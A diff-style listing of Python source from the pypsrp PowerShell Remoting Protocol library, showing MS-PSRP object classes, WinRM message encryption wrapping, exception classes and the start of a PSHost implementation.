     1201 + https://msdn.microsoft.com/en-us/library/ee175993.aspx
     1202 + 
     1203 + :param name: The name of a command
     1204 + :param namespace: The namespace of the command
     1205 + :param help_uri: The URI to the documentation of the command
     1206 + :param command_type: The CommandType of the command
     1207 + :param output_type: The types of objects that a command can send as
     1208 + output
     1209 + :param parameters: Metadata of parameters that the command can accept
     1210 + as Command Parameters
     1211 + """
     1212 + super(CommandMetadata, self).__init__()
     1213 + self.types = ["System.Management.Automation.PSCustomObject", "System.Object"]
     1214 + self._extended_properties = (
     1215 + ("name", ObjectMeta("S", name="Name")),
     1216 + ("namespace", ObjectMeta("S", name="Namespace")),
     1217 + ("help_uri", ObjectMeta("S", name="HelpUri")),
     1218 + ("command_type", ObjectMeta("Obj", name="CommandType", object=CommandType)),
     1219 + (
     1220 + "output_type",
     1221 + ListMeta(
     1222 + name="OutputType",
     1223 + list_value_meta=ObjectMeta("S"),
     1224 + list_types=[
     1225 + "System.Collections.ObjectModel.ReadOnlyCollection`1[["
     1226 + "System.Management.Automation.PSTypeName, "
     1227 + "System.Management.Automation, Version=3.0.0.0, "
     1228 + "Culture=neutral, PublicKeyToken=31bf3856ad364e35]]",
     1229 + ],
     1230 + ),
     1231 + ),
     1232 + (
     1233 + "parameters",
     1234 + DictionaryMeta(
     1235 + name="Parameters",
     1236 + dict_key_meta=ObjectMeta("S"),
     1237 + dict_value_meta=ObjectMeta("Obj", object=ParameterMetadata),
     1238 + ),
     1239 + ),
     1240 + )
     1241 + self.name = kwargs.get("name")
     1242 + self.namespace = kwargs.get("namespace")
     1243 + self.help_uri = kwargs.get("help_uri")
     1244 + self.command_type = kwargs.get("command_type")
     1245 + self.output_type = kwargs.get("output_type")
     1246 + self.parameters = kwargs.get("parameters")
     1247 + 
     1248 + 
     1249 +class ParameterMetadata(ComplexObject):
     1250 + def __init__(self, **kwargs):
     1251 + """
     1252 + [MS-PSRP] 2.2.3.23 ParameterMetadata
     1253 + https://msdn.microsoft.com/en-us/library/ee175918.aspx
     1254 + 
     1255 + :param name: The name of a parameter
     1256 + :param parameter_type: The type of the parameter
     1257 + :param alises: List of alternative names of the parameter
     1258 + :param switch_parameter: True if param is a switch parameter
     1259 + :param dynamic: True if param is included as a consequence of the data
     1260 + specified in the ArgumentList property
     1261 + """
     1262 + super(ParameterMetadata, self).__init__()
     1263 + self.types = ["System.Management.Automation.ParameterMetadata", "System.Object"]
     1264 + self._adapted_properties = (
     1265 + ("name", ObjectMeta("S", name="Name")),
     1266 + ("parameter_type", ObjectMeta("S", name="ParameterType")),
     1267 + (
     1268 + "aliases",
     1269 + ListMeta(
     1270 + name="Aliases",
     1271 + list_value_meta=ObjectMeta("S"),
     1272 + list_types=[
     1273 + "System.Collections.ObjectModel.Collection`1"
     1274 + "[[System.String, mscorlib, Version=4.0.0.0, "
     1275 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
     1276 + "System.Object",
     1277 + ],
     1278 + ),
     1279 + ),
     1280 + ("switch_parameter", ObjectMeta("B", name="SwitchParameter")),
     1281 + ("dynamic", ObjectMeta("B", name="IsDynamic")),
     1282 + )
     1283 + self.name = kwargs.get("name")
     1284 + self.parameter_type = kwargs.get("parameter_type")
     1285 + self.aliases = kwargs.get("aliases")
     1286 + self.switch_parameter = kwargs.get("switch_parameter")
     1287 + self.dynamic = kwargs.get("dynamic")
     1288 + 
     1289 + 
     1290 +class PSCredential(ComplexObject):
     1291 + def __init__(self, **kwargs):
     1292 + """
     1293 + [MS-PSRP] 2.2.3.25 PSCredential
     1294 + https://msdn.microsoft.com/en-us/library/ee442231.aspx
     1295 + 
     1296 + Represents a username and a password. As the password is a secure
     1297 + string, the RunspacePool must have already exchanged keys with
     1298 + .exchange_keys() method.
     1299 + 
     1300 + :param username: The username (including the domain if required)
     1301 + :param password: The password for the user, this should be a unicode
     1302 + string in order to make sure the encoding is correct
     1303 + """
     1304 + super(PSCredential, self).__init__()
     1305 + self._types = ["System.Management.Automation.PSCredential", "System.Object"]
     1306 + self._adapted_properties = (
     1307 + ("username", ObjectMeta("S", name="UserName")),
     1308 + ("password", ObjectMeta("SS", name="Password")),
     1309 + )
     1310 + self._to_string = "System.Management.Automation.PSCredential"
     1311 + 
     1312 + self.username = kwargs.get("username")
     1313 + self.password = kwargs.get("password")
     1314 + 
     1315 + 
     1316 +class KeyInfo(ComplexObject):
     1317 + def __init__(self, **kwargs):
     1318 + """
     1319 + [MS-PSRP] 2.2.3.26 KeyInfo
     1320 + https://msdn.microsoft.com/en-us/library/ee441795.aspx
     1321 + 
     1322 + Represents information about a keyboard event, this is used for the
     1323 + serialized of a ReadKey host method and is not the same as the
     1324 + serialized form of KeyInfo in .NET (see KeyInfoDotNet).
     1325 + 
     1326 + :param code: The int value for the virtual key code
     1327 + :param character: The character
     1328 + :param state: The ControlKeyState int value
     1329 + :param key_down: Whether the key is pressed or released
     1330 + """
     1331 + super(KeyInfo, self).__init__()
     1332 + self._extended_properties = (
     1333 + ("code", ObjectMeta("I32", name="virtualKeyCode", optional=True)),
     1334 + ("character", ObjectMeta("C", name="character")),
     1335 + ("state", ObjectMeta("I32", name="controlKeyState")),
     1336 + ("key_down", ObjectMeta("B", name="keyDown")),
     1337 + )
     1338 + self.code = kwargs.get("code")
     1339 + self.character = kwargs.get("character")
     1340 + self.state = kwargs.get("state")
     1341 + self.key_down = kwargs.get("key_down")
     1342 + 
     1343 + 
     1344 +class KeyInfoDotNet(ComplexObject):
     1345 + def __init__(self, **kwargs):
     1346 + """
     1347 + System.Management.Automation.Host.KeyInfo
     1348 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.keyinfo
     1349 + 
     1350 + This is the proper serialized form of KeyInfo from .NET, it is
     1351 + returned in a PipelineOutput message.
     1352 + 
     1353 + :param code: The int value for the virtual key code
     1354 + :param character: The character
     1355 + :param state: The ControlKeyState as a string value
     1356 + :param key_down: Whether the key is pressed or released
     1357 + """
     1358 + super(KeyInfoDotNet, self).__init__()
     1359 + self._types = ["System.Management.Automation.Host.KeyInfo", "System.ValueType", "System.Object"]
     1360 + self._adapted_properties = (
     1361 + ("code", ObjectMeta("I32", name="VirtualKeyCode")),
     1362 + ("character", ObjectMeta("C", name="Character")),
     1363 + ("state", ObjectMeta("S", name="ControlKeyState")),
     1364 + ("key_down", ObjectMeta("B", name="KeyDown")),
     1365 + )
     1366 + self.code = kwargs.get("code")
     1367 + self.character = kwargs.get("character")
     1368 + self.state = kwargs.get("state")
     1369 + self.key_down = kwargs.get("key_down")
     1370 + 
     1371 + 
     1372 +class ControlKeyState(object):
     1373 + """
     1374 + [MS-PSRP] 2.2.3.27 ControlKeyStates
     1375 + https://msdn.microsoft.com/en-us/library/ee442685.aspx
     1376 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.controlkeystates
     1377 + 
     1378 + A set of zero or more control keys that are help down.
     1379 + """
     1380 + 
     1381 + RightAltPressed = 0x0001
     1382 + LeftAltPressed = 0x0002
     1383 + RightCtrlPressed = 0x0004
     1384 + LeftCtrlPressed = 0x0008
     1385 + ShiftPressed = 0x0010
     1386 + NumLockOn = 0x0020
     1387 + ScrollLockOn = 0x0040
     1388 + CapsLockOn = 0x0080
     1389 + EnhancedKey = 0x0100
     1390 + 
     1391 + 
     1392 +class BufferCell(ComplexObject):
     1393 + def __init__(self, **kwargs):
     1394 + """
     1395 + [MS-PSRP] 2.2.3.28 BufferCell
     1396 + https://msdn.microsoft.com/en-us/library/ee443291.aspx
     1397 + 
     1398 + The contents of a cell of a host's screen buffer.
     1399 + 
     1400 + :param character: The chracter visibile in the cell
     1401 + :param foreground_color: The Color of the foreground
     1402 + :param background_color: The Color of the background
     1403 + :param cell_type: The int value of BufferCellType
     1404 + """
     1405 + super(BufferCell, self).__init__()
     1406 + self._adapted_properties = (
     1407 + ("character", ObjectMeta("C", name="character")),
     1408 + ("foreground_color", ObjectMeta("Obj", name="foregroundColor", object=Color)),
     1409 + ("background_color", ObjectMeta("Obj", name="backgroundColor", object=Color)),
     1410 + ("cell_type", ObjectMeta("I32", name="bufferCellType")),
     1411 + )
     1412 + self.character = kwargs.get("character")
     1413 + self.foreground_color = kwargs.get("foreground_color")
     1414 + self.background_color = kwargs.get("background_color")
     1415 + self.cell_type = kwargs.get("cell_type")
     1416 + 
     1417 + 
     1418 +class BufferCellType(object):
     1419 + """
     1420 + [MS-PSRP] 2.2.3.29 BufferCellType
     1421 + https://msdn.microsoft.com/en-us/library/ee442184.aspx
     1422 + 
     1423 + The type of a cell of a screen buffer.
     1424 + """
     1425 + 
     1426 + COMPLETE = 0
     1427 + LEADING = 1
     1428 + TRAILING = 2
     1429 + 
     1430 + 
     1431 +class Array(ComplexObject):
     1432 + def __init__(self, **kwargs):
     1433 + """
     1434 + [MS-PSRP] 2.2.6.1.4 Array
     1435 + https://msdn.microsoft.com/en-us/library/dd340684.aspx
     1436 + 
     1437 + Represents a (potentially multi-dimensional) array of elements.
     1438 + 
     1439 + :param array: The array (list) that needs to be serialised. This can
     1440 + be a multidimensional array (lists in a list)
     1441 + """
     1442 + super(Array, self).__init__()
     1443 + self._extended_properties = (
     1444 + ("mae", ListMeta(name="mae")),
     1445 + ("mal", ListMeta(name="mal", list_value_meta=ObjectMeta("I32"))),
     1446 + )
     1447 + self._array = None
     1448 + self._mae = None
     1449 + self._mal = None
     1450 + self._array = kwargs.get("array")
     1451 + 
     1452 + @property
     1453 + def array(self):
     1454 + if self._array is None:
     1455 + self._array = self._build_array(self._mae, self._mal)
     1456 + 
     1457 + return self._array
     1458 + 
     1459 + @array.setter
     1460 + def array(self, value):
     1461 + self._array = value
     1462 + 
     1463 + @property
     1464 + def mae(self):
     1465 + # elements of the array are flattened into a list and ordered by first
     1466 + # listing the deepest elements
     1467 + mae = self._get_list_entries(self._array)
     1468 + return mae
     1469 + 
     1470 + @mae.setter
     1471 + def mae(self, value):
     1472 + self._mae = value
     1473 + 
     1474 + @property
     1475 + def mal(self):
     1476 + mal = self._get_list_count(self.array)
     1477 + return mal
     1478 + 
     1479 + @mal.setter
     1480 + def mal(self, value):
     1481 + self._mal = value
     1482 + 
     1483 + def _build_array(self, mae, mal):
     1484 + values = []
     1485 + 
     1486 + length = mal.pop(-1)
     1487 + while True:
     1488 + entry = []
     1489 + for i in range(0, length):
     1490 + entry.append(mae.pop(0))
     1491 + values.append(entry)
     1492 + if len(mae) == 0:
     1493 + break
     1494 + 
     1495 + if len(mal) == 0:
     1496 + values = values[0]
     1497 + elif len(mal) > 1:
     1498 + values = self._build_array(values, mal)
     1499 + 
     1500 + return values
     1501 + 
     1502 + def _get_list_entries(self, list_value):
     1503 + values = []
     1504 + for value in list_value:
     1505 + if isinstance(value, list):
     1506 + values.extend(self._get_list_entries(value))
     1507 + else:
     1508 + values.append(value)
     1509 + 
     1510 + return values
     1511 + 
     1512 + def _get_list_count(self, list_value):
     1513 + count = []
     1514 + 
     1515 + current_entry = list_value
     1516 + while True:
     1517 + if isinstance(current_entry, list):
     1518 + count.append(len(current_entry))
     1519 + current_entry = current_entry[0]
     1520 + else:
     1521 + break
     1522 + 
     1523 + return count
     1524 + 
     1525 + 
     1526 +class CommandOrigin(Enum):
     1527 + RUNSPACE = 0
     1528 + INTERNAL = 1
     1529 + 
     1530 + def __init__(self, **kwargs):
     1531 + """
     1532 + [MS-PSRP] 2.2.2.30 CommandOrigin
     1533 + https://msdn.microsoft.com/en-us/library/ee441964.aspx
     1534 + 
     1535 + :param value: The command origin flag to set
     1536 + """
     1537 + string_map = {
     1538 + 0: "Runspace",
     1539 + 1: "Internal",
     1540 + }
     1541 + super(CommandOrigin, self).__init__("System.Management.Automation.CommandOrigin", string_map, **kwargs)
     1542 + 
     1543 + 
     1544 +class PipelineResultTypes(Enum):
     1545 + # While MS-PSRP show this as flags with different values, we only
     1546 + # ever send NONE OUTPUT, ERROR, or OUTPUT_AND_ERROR across the wire and
     1547 + # the actual C# code use these values as enums and not flags. We will
     1548 + # replicate that behaviour here. If using these values, do not rely on
     1549 + # the actual numeric values but rather these definitions.
     1550 + 
     1551 + NONE = 0 # default streaming behaviour
     1552 + OUTPUT = 1
     1553 + ERROR = 2
     1554 + WARNING = 3 # also output and error for MergePreviousResults (PS v2)
     1555 + VERBOSE = 4
     1556 + DEBUG = 5
     1557 + INFORMATION = 6
     1558 + ALL = 7 # Error, Warning, Verbose, Debug, Information streams
     1559 + NULL = 8 # redirect to nothing - pretty much the same as null
     1560 + 
     1561 + def __init__(
     1562 + self,
     1563 + protocol_version_2: bool = False,
     1564 + **kwargs: typing.Any,
     1565 + ) -> None:
     1566 + """
     1567 + [MS-PSRP] 2.2.3.31 PipelineResultTypes
     1568 + https://msdn.microsoft.com/en-us/library/ee938207.aspx
     1569 + 
     1570 + Used as identifiers
     1571 + 
     1572 + :param protocol_version_2: Whether to use the original string map or
     1573 + just None, Output, and Error that are a bitwise combination. This
     1574 + is only really relevant for MergePreviousResults in a Command obj
     1575 + :param value: The initial PipelineResultType flag to set
     1576 + """
     1577 + if protocol_version_2 is True:
     1578 + string_map = {
     1579 + 0: "None",
     1580 + 1: "Output",
     1581 + 2: "Error",
     1582 + 3: "Output, Error",
     1583 + }
     1584 + else:
     1585 + string_map = {
     1586 + 0: "None",
     1587 + 1: "Output",
     1588 + 2: "Error",
     1589 + 3: "Warning",
     1590 + 4: "Verbose",
     1591 + 5: "Debug",
     1592 + 6: "Information",
     1593 + 7: "All",
     1594 + 8: "Null",
     1595 + }
     1596 + super(PipelineResultTypes, self).__init__(
     1597 + "System.Management.Automation.Runspaces.PipelineResultTypes", string_map, **kwargs
     1598 + )
     1599 + 
     1600 + 
     1601 +class CultureInfo(ComplexObject):
     1602 + def __init__(self, **kwargs):
     1603 + super(CultureInfo, self).__init__()
     1604 + 
     1605 + self._adapted_properties = (
     1606 + ("lcid", ObjectMeta("I32", name="LCID")),
     1607 + ("name", ObjectMeta("S", name="Name")),
     1608 + ("display_name", ObjectMeta("S", name="DisplayName")),
     1609 + ("ietf_language_tag", ObjectMeta("S", name="IetfLanguageTag")),
     1610 + ("three_letter_iso_name", ObjectMeta("S", name="ThreeLetterISOLanguageName")),
     1611 + ("three_letter_windows_name", ObjectMeta("S", name="ThreeLetterWindowsLanguageName")),
     1612 + ("two_letter_iso_language_name", ObjectMeta("S", name="TwoLetterISOLanguageName")),
     1613 + )
     1614 + self.lcid = kwargs.get("lcid")
     1615 + self.name = kwargs.get("name")
     1616 + self.display_name = kwargs.get("display_name")
     1617 + self.ieft_language_tag = kwargs.get("ietf_language_tag")
     1618 + self.three_letter_iso_name = kwargs.get("three_letter_iso_name")
     1619 + self.three_letter_windows_name = kwargs.get("three_letter_windows_name")
     1620 + self.two_letter_iso_language_name = kwargs.get("two_letter_iso_language_name")
     1621 + 
     1622 + 
     1623 +class ProgressRecordType(Enum):
     1624 + PROCESSING = 0
     1625 + COMPLETED = 1
     1626 + 
     1627 + def __init__(self, **kwargs):
     1628 + """
     1629 + System.Management.Automation.ProgressRecordType Enum
     1630 + This isn't in MS-PSRP but is used in the InformationRecord message and
     1631 + so we need to define it here.
     1632 + 
     1633 + :param value: The initial ProgressRecordType value to set
     1634 + """
     1635 + string_map = {
     1636 + 0: "Processing",
     1637 + 1: "Completed",
     1638 + }
     1639 + super(ProgressRecordType, self).__init__(
     1640 + "System.Management.Automation.ProgressRecordType", string_map, **kwargs
     1641 + )
     1642 + 
     1643 + 
     1644 +class SessionStateEntryVisibility(Enum):
     1645 + PUBLIC = 0
     1646 + PRIVATE = 1
     1647 + 
     1648 + def __init__(self, **kwargs):
     1649 + """
     1650 + System.Management.Automation.SessionStateEntryVisibility Enum
     1651 + This isn't in MS-PSRP but is used in the InformationalRecord object so
     1652 + we need to define it here
     1653 + 
     1654 + :param value: The initial SessionStateEntryVisibility value to set
     1655 + """
     1656 + string_map = {0: "Public", 1: "Private"}
     1657 + super(SessionStateEntryVisibility, self).__init__(
     1658 + "System.Management.Automation.SessionStateEntryVisibility", string_map, **kwargs
     1659 + )
     1660 + 
  • ■ ■ ■ ■ ■ ■
    pypsrp/encryption.py
     1 +import logging
     2 +import re
     3 +import struct
     4 +import typing
     5 + 
     6 +from pypsrp._utils import to_bytes
     7 +from pypsrp.exceptions import WinRMError
     8 + 
     9 +log = logging.getLogger(__name__)
     10 + 
     11 + 
     12 +class WinRMEncryption(object):
     13 + 
     14 + SIXTEEN_KB = 16384
     15 + MIME_BOUNDARY = "--Encrypted Boundary"
     16 + CREDSSP = "application/HTTP-CredSSP-session-encrypted"
     17 + KERBEROS = "application/HTTP-Kerberos-session-encrypted"
     18 + SPNEGO = "application/HTTP-SPNEGO-session-encrypted"
     19 + 
     20 + def __init__(self, context: typing.Any, protocol: str) -> None:
     21 + log.debug("Initialising WinRMEncryption helper for protocol %s" % protocol)
     22 + self.context = context
     23 + self.protocol = protocol
     24 + 
     25 + def wrap_message(self, message: bytes) -> typing.Tuple[str, bytes]:
     26 + log.debug("Wrapping message")
     27 + if self.protocol == self.CREDSSP and len(message) > self.SIXTEEN_KB:
     28 + content_type = "multipart/x-multi-encrypted"
     29 + encrypted_msg = b""
     30 + chunks = [message[i : i + self.SIXTEEN_KB] for i in range(0, len(message), self.SIXTEEN_KB)]
     31 + for chunk in chunks:
     32 + encrypted_chunk = self._wrap_message(chunk)
     33 + encrypted_msg += encrypted_chunk
     34 + else:
     35 + content_type = "multipart/encrypted"
     36 + encrypted_msg = self._wrap_message(message)
     37 + 
     38 + encrypted_msg += to_bytes("%s--\r\n" % self.MIME_BOUNDARY)
     39 + 
     40 + log.debug("Created wrapped message of content type %s" % content_type)
     41 + return content_type, encrypted_msg
     42 + 
     43 + def unwrap_message(self, message: bytes, boundary: str) -> bytes:
     44 + log.debug("Unwrapped message")
     45 + 
     46 + # Talking to Exchange endpoints gives a non-compliant boundary that has a space between the -- {boundary}, not
     47 + # ideal but we just need to handle it.
     48 + parts = re.compile(to_bytes(r"--\s*%s\r\n" % re.escape(boundary))).split(message)
     49 + parts = list(filter(None, parts))
     50 + 
     51 + message = b""
     52 + for i in range(0, len(parts), 2):
     53 + header = parts[i].strip()
     54 + payload = parts[i + 1]
     55 + 
     56 + expected_length = int(header.split(b"Length=")[1])
     57 + 
     58 + # remove the end MIME block if it exists
     59 + payload = re.sub(to_bytes(r"--\s*%s--\r\n$") % to_bytes(boundary), b"", payload)
     60 + 
     61 + wrapped_data = payload.replace(b"\tContent-Type: application/octet-stream\r\n", b"")
     62 + header_length = struct.unpack("<i", wrapped_data[:4])[0]
     63 + header = wrapped_data[4 : 4 + header_length]
     64 + enc_wrapped_data = wrapped_data[4 + header_length :]
     65 + 
     66 + unwrapped_data = self.context.unwrap_winrm(header, enc_wrapped_data)
     67 + 
     68 + actual_length = len(unwrapped_data)
     69 + 
     70 + log.debug("Actual unwrapped length: %d, expected unwrapped length: %d" % (actual_length, expected_length))
     71 + if actual_length != expected_length:
     72 + raise WinRMError(
     73 + "The encrypted length from the server does "
     74 + "not match the expected length, decryption "
     75 + "failed, actual: %d != expected: %d" % (actual_length, expected_length)
     76 + )
     77 + message += unwrapped_data
     78 + 
     79 + return message
     80 + 
     81 + def _wrap_message(self, message: bytes) -> bytes:
     82 + header, wrapped_data, padding_length = self.context.wrap_winrm(message)
     83 + wrapped_data = struct.pack("<i", len(header)) + header + wrapped_data
     84 + 
     85 + msg_length = str(len(message) + padding_length)
     86 + 
     87 + payload = "\r\n".join(
     88 + [
     89 + self.MIME_BOUNDARY,
     90 + "\tContent-Type: %s" % self.protocol,
     91 + "\tOriginalContent: type=application/soap+xml;charset=UTF-8;Length=%s" % msg_length,
     92 + self.MIME_BOUNDARY,
     93 + "\tContent-Type: application/octet-stream",
     94 + "",
     95 + ]
     96 + )
     97 + return to_bytes(payload) + wrapped_data
     98 + 
  • ■ ■ ■ ■ ■ ■
    pypsrp/exceptions.py
     1 +# Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]>
     2 +# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
     3 + 
     4 +import typing
     5 + 
     6 +from pypsrp.complex_objects import PSInvocationState, RunspacePoolState
     7 + 
     8 + 
     9 +class WinRMError(Exception):
     10 + # Base WinRM Error
     11 + pass
     12 + 
     13 + 
     14 +class AuthenticationError(WinRMError):
     15 + # Used when the user failed to authenticate
     16 + pass
     17 + 
     18 + 
     19 +class WinRMTransportError(WinRMError):
     20 + # An error occurred during the transport stage
     21 + 
     22 + @property
     23 + def protocol(self):
     24 + return self.args[0]
     25 + 
     26 + @property
     27 + def code(self):
     28 + return self.args[1]
     29 + 
     30 + @property
     31 + def response_text(self):
     32 + return self.args[2]
     33 + 
     34 + @property
     35 + def message(self):
     36 + return "Bad %s response returned from the server. Code: %d, Content: '%s'" % (
     37 + self.protocol.upper(),
     38 + self.code,
     39 + self.response_text,
     40 + )
     41 + 
     42 + def __str__(self):
     43 + return self.message
     44 + 
     45 + 
     46 +class WSManFaultError(WinRMError):
     47 + # Contains the WSManFault information if a WSManFault was received
     48 + 
     49 + @property
     50 + def code(self):
     51 + return self.args[0]
     52 + 
     53 + @property
     54 + def machine(self):
     55 + return self.args[1]
     56 + 
     57 + @property
     58 + def reason(self):
     59 + return self.args[2]
     60 + 
     61 + @property
     62 + def provider(self):
     63 + return self.args[3]
     64 + 
     65 + @property
     66 + def provider_path(self):
     67 + return self.args[4]
     68 + 
     69 + @property
     70 + def provider_fault(self):
     71 + return self.args[5]
     72 + 
     73 + @property
     74 + def message(self):
     75 + error_details = []
     76 + if self.code:
     77 + error_details.append("Code: %s" % self.code)
     78 + 
     79 + if self.machine:
     80 + error_details.append("Machine: %s" % self.machine)
     81 + 
     82 + if self.reason:
     83 + error_details.append("Reason: %s" % self.reason)
     84 + 
     85 + if self.provider:
     86 + error_details.append("Provider: %s" % self.provider)
     87 + 
     88 + if self.provider_path:
     89 + error_details.append("Provider Path: %s" % self.provider_path)
     90 + 
     91 + if self.provider_fault:
     92 + error_details.append("Provider Fault: %s" % self.provider_fault)
     93 + 
     94 + if len(error_details) == 0:
     95 + error_details.append("No details returned by the server")
     96 + 
     97 + error_msg = "Received a WSManFault message. (%s)" % ", ".join(error_details)
     98 + return error_msg
     99 + 
     100 + def __str__(self):
     101 + return self.message
     102 + 
     103 + 
     104 +# PSRP Exceptions below
     105 +class _InvalidStateError(WinRMError):
     106 + _STATE_OBJ: typing.Optional[typing.Type] = None
     107 + 
     108 + @property
     109 + def current_state(self):
     110 + return self.args[0]
     111 + 
     112 + @property
     113 + def expected_state(self):
     114 + return self.args[1]
     115 + 
     116 + @property
     117 + def action(self):
     118 + return self.args[2]
     119 + 
     120 + @property
     121 + def message(self):
     122 + current_state = str(self._STATE_OBJ(self.current_state))
     123 + expected_state = self.expected_state
     124 + if not isinstance(expected_state, list):
     125 + expected_state = [expected_state]
     126 + exp_state = [str(self._STATE_OBJ(s)) for s in expected_state]
     127 + return "Cannot '%s' on the current state '%s', expecting state(s): '%s'" % (
     128 + self.action,
     129 + current_state,
     130 + ", ".join(exp_state),
     131 + )
     132 + 
     133 + def __str__(self):
     134 + return self.message
     135 + 
     136 + 
     137 +class InvalidRunspacePoolStateError(_InvalidStateError):
     138 + # Used in PSRP when the state of a RunspacePool does not meet the required
     139 + # state for the operation to run
     140 + _STATE_OBJ = RunspacePoolState
     141 + 
     142 + 
     143 +class InvalidPipelineStateError(_InvalidStateError):
     144 + # Used in PSRP when teh state of a PowerShell Pipeline does not meet the
     145 + # required state for the operation to run
     146 + _STATE_OBJ = PSInvocationState
     147 + 
     148 + 
     149 +class InvalidPSRPOperation(WinRMError):
     150 + # Generic error used to denote an operation that is invalid or could not
     151 + # run until other conditions are met
     152 + pass
     153 + 
     154 + 
     155 +class FragmentError(WinRMError):
     156 + # Any error occurred during the packet fragmentation
     157 + pass
     158 + 
     159 + 
     160 +class SerializationError(WinRMError):
     161 + # Any error during the serialization process
     162 + pass
     163 + 
  • ■ ■ ■ ■ ■ ■
    pypsrp/host.py
     1 +# Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]>
     2 +# MIT License (see LICENSE or https://opensource.org/licenses/MIT)
     3 + 
     4 +import logging
     5 +import typing
     6 +import uuid
     7 +import xml.etree.ElementTree as ET
     8 + 
     9 +from pypsrp.complex_objects import (
     10 + Array,
     11 + BufferCell,
     12 + Color,
     13 + Coordinates,
     14 + CultureInfo,
     15 + GenericComplexObject,
     16 + HostMethodIdentifier,
     17 + KeyInfo,
     18 + ObjectMeta,
     19 + PSCredential,
     20 + Size,
     21 +)
     22 +from pypsrp.powershell import PowerShell, RunspacePool
     23 + 
     24 +log = logging.getLogger(__name__)
     25 + 
     26 + 
     27 +class PSHost(object):
     28 + def __init__(
     29 + self,
     30 + current_culture: typing.Optional[CultureInfo],
     31 + current_ui_culture: typing.Optional[CultureInfo],
     32 + debugger_enabled: bool,
     33 + name: typing.Optional[str],
     34 + private_data: typing.Optional[typing.Dict],
     35 + ui: typing.Optional["PSHostUserInterface"],
     36 + version: str,
     37 + ) -> None:
     38 + """
     39 + Defines the properties and facilities provided by an application
     40 + hosting a RunspacePool.
     41 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost
     42 + 
     43 + This is a basic implementation some methods being noop or not
     44 + implemented.
     45 + 
     46 + :param current_culture: pypsrp.complex_objects.CultureInfo, the host's
     47 + culture
     48 + :param current_ui_culture: pypsrp.complex_objects.CultureInfo, the
     49 + host's UI culture
     50 + :param debugger_enabled: This property enables and disables the host
     51 + debugger if debugging is supported
     52 + :param name: Gets the hosting application identification in some user-
     53 + friendly fashion.
     54 + :param private_data: Used to allow the host to pass private data
     55 + through a Runspace to cmdlets inside that Runspace
     56 + :param ui: The hosts implementation of PSHostUserInterface. Should be
     57 + None if the host that does not want to support user interaction
     58 + :param version: The version of the hosting application
     59 + """
     60 + self.ui = ui
     61 + self.debugger_enabled = debugger_enabled
     62 + self.private_data = private_data
     63 + self.rc: typing.Optional[int] = None
     64 + 
     65 + self.name = name
     66 + self.version = version
     67 + self.instance_id = uuid.uuid4()
     68 + self.current_culture = current_culture
     69 + self.current_ui_culture = current_ui_culture
     70 + 
     71 + def run_method(
     72 + self,
     73 + method_identifier: HostMethodIdentifier,
     74 + args: typing.List,
     75 + runspace: RunspacePool,
     76 + pipeline: typing.Optional[PowerShell] = None,
     77 + ) -> typing.Any:
     78 + """
     79 + Run a host call method requested by the server and return the response
     80 + from this method to send back to the server.
     81 + https://msdn.microsoft.com/en-us/library/dd306624.aspx
     82 + 
     83 + Each method will have access to the current runspace and pipeline (if
     84 + applicable) during the method call as well as any args sent from the
     85 + server.
     86 + 
     87 + :param method_identifier: pypsrp.complex_objects.HostMethodIdentifier
     88 + in the host call message.
     89 + :param args: The list of arguments for the host call function.
     90 + :param runspace: The runspace the host call relates to
     91 + :param pipeline: The pipeline (if any) that the call relates to
     92 + :return: The response (if any) to send back to the server
     93 + """
     94 + response = None
     95 + mi = method_identifier.value or 0
     96 + if mi < 11:
     97 + func = getattr(self, str(method_identifier))
     98 + response = func(runspace, pipeline, *args)
     99 + elif mi < 27:
     100 + func = getattr(self.ui, str(method_identifier))
     101 + response = func(runspace, pipeline, *args)
     102 + elif mi < 52:
     103 + func = getattr(getattr(self.ui, "raw_ui", None), str(method_identifier))
     104 + response = func(runspace, pipeline, *args)
     105 + else:
     106 + log.warning("Received unexpected/unsupported host method identifier: %d" % mi)
     107 + 
     108 + return response
     109 + 
     110 + # Start of Host Methods, the names of these functions are important as
     111 + # they line up to the names defined by MS and are sent in the host call
     112 + # messages
     113 + def GetName(
     114 + self,
     115 + runspace: RunspacePool,
     116 + pipeline: typing.Optional[PowerShell],
     117 + ) -> typing.Optional[str]:
     118 + """
     119 + MI: 1
     120 + SHOULD return a string identifying the hosting application in a user
     121 + friendly way.
     122 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.name
     123 + 
     124 + :param runspace: The runspace the host call relates to
     125 + :param pipeline: The pipeline (if any) that the call relates to
     126 + :return: String of the user-friendly name of the hosting application
     127 + """
     128 + return self.name
     129 + 
     130 + def GetVersion(
     131 + self,
     132 + runspace: RunspacePool,
     133 + pipeline: typing.Optional[PowerShell],
     134 + ) -> typing.Optional[ET.Element]:
     135 + """
     136 + MI: 2
     137 + SHOULD return the version number of the hosting application.
     138 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.version
     139 + 
     140 + :param runspace: The runspace the host call relates to
     141 + :param pipeline: The pipeline (if any) that the call relates to
     142 + :return: Version number of the hosting application
     143 + """
     144 + meta = ObjectMeta("Version")
     145 + value = runspace.serialize(self.version, meta)
     146 + return value
     147 + 
     148 + def GetInstanceId(
     149 + self,
     150 + runspace: RunspacePool,
     151 + pipeline: typing.Optional[PowerShell],
     152 + ) -> uuid.UUID:
     153 + """
     154 + MI: 3
     155 + SHOULD return a GUID that uniquely identifies the hosting application.
     156 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.instanceid
     157 + 
     158 + :param runspace: The runspace the host call relates to
     159 + :param pipeline: The pipeline (if any) that the call relates to
     160 + :return: GUID of the hosting application
     161 + """
     162 + return self.instance_id
     163 + 
     164 + def GetCurrentCulture(
     165 + self,
     166 + runspace: RunspacePool,
     167 + pipeline: typing.Optional[PowerShell],
     168 + ) -> typing.Optional[CultureInfo]:
     169 + """
     170 + MI: 4
     171 + SHOULD return the host's culture.
     172 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.currentculture
     173 + 
     174 + :param runspace: The runspace the host call relates to
     175 + :param pipeline: The pipeline (if any) that the call relates to
     176 + :return: pypsrp.complex_objects.CultureInfo of the host's culture
     177 + """
     178 + return self.current_culture
